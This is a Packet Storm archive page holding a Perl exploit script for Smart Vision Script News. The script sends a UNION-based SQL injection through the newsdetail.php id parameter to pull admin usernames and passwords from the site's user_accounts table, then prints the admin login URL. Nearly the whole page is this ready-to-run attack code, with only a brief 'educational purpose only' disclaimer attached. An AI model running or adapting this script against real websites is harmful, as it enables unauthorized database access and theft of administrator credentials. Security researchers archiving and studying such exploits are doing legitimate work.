exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Smart Vision Script News SQL Injection Exploit

Smart Vision Script News SQL Injection Exploit
Posted Jan 4, 2010
Authored by darkmasking

Smart Vision Script News remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | bc2a268260975e5645118403ad9d5ff460e39eb0181a5c861611158db9368c04

Smart Vision Script News SQL Injection Exploit

Change Mirror Download
#!usr/bin/perl
############################################################################
# Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit
# Date: 01-04-2010
# Author: darkmasking
############################################################################
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
############################################################################
# Vuln discovered by Err0R
# Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability
# http://www.exploit-db.com/exploits/10977
############################################################################
# Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o
############################################################################

use IO::Socket::INET;
use LWP::UserAgent;

sub banner {

print "\n".
"[»]=============================================[_][-][X]\n".
"[»] ======= ------d-------m------ ==== ==== [»]\n".
"[»] || === = | |(o o)| | ||== || ==|| [»]\n".
"[»] || === = ||(~)|| || = = || [»]\n".
"[»] ======= | || || [»]\n".
"[»]---------------------------------------------------[»]\n".
"[»] Smart Vision Script News (newsdetail) [»]\n".
"[»] SQL Injection Exploit [»]\n".
"[»] by darkmasking [»]\n".
"[»] Vuln discovered by Err0R [»]\n".
"[»]===================================================[»]\n\n";
}

my $host = $ARGV[0];
my $sql_path = "/newsdetail.php?id=";
my $admin_path ="/admin/admin.php";

if (@ARGV < 1) {
&banner();
&help("-1");
}

elsif(check($host) == 1) {
&banner();
&dmploit($host,$sql_path);
}

else {
&banner();
help("-2");
}

sub dmploit() {

my $host = $_[0];
my $sql_path = $_[1];

print "[+] Getting Username and Password\n";
print "[!] Checking...\n";
print "\n";

my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--";
my $sql_get = get_url($sql_atk);
my $connect = tag($sql_get);

if($connect =~ /darkmasking:(.+):(.+):darkmasking/) {

print "-o0 SQL Injection Successfully 0o-\n";
print "[+] Username : $1\n";
print "[+] Password : $2\n";
print "\n";
print "[+] Admin URL = $host$admin_path\n";

}

else {
print "[-] SQL Injection Failed\n";
}
}

sub get_url() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub check() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub help() {

my $error = $_[0];
if ($error == -1) {
print "\n[-] Error, missed some arguments !\n\n";
}

elsif ($error == -2) {

print "\n[-] Error, Bad arguments !\n";
}

print " Usage : perl $0 http://www.darkurl.com/\n\n";
print " Ex : perl $0 http://www.darkurl.com/\n\n";
exit(0);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close